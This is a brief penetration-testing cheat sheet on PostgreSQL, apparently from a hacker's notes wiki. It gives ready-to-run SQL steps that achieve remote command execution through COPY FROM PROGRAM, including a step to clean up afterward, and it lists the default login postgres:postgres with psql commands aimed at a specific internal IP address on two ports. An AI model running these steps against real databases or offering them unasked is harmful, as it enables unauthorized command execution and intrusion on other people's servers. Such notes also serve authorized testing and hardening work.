Postgres Psql

RCE - Postgres Psql - Any Version

1) [Optional] Drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;

2) Create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);

3) Run the system command via the COPY FROM PROGRAM functio
COPY cmd_exec FROM PROGRAM 'id';

4) [Optional] View the results
SELECT * FROM cmd_exec;

5) [Optional] Clean up after yourself
DROP TABLE IF EXISTS cmd_exec;

Default Password

postgres:postgres
#Default port
psql -h 192.168.59.47 -U postgres -W

#diifrent port
psql -h 192.168.59.47 -U postgres -W -p 5437

Last updated

Was this helpful?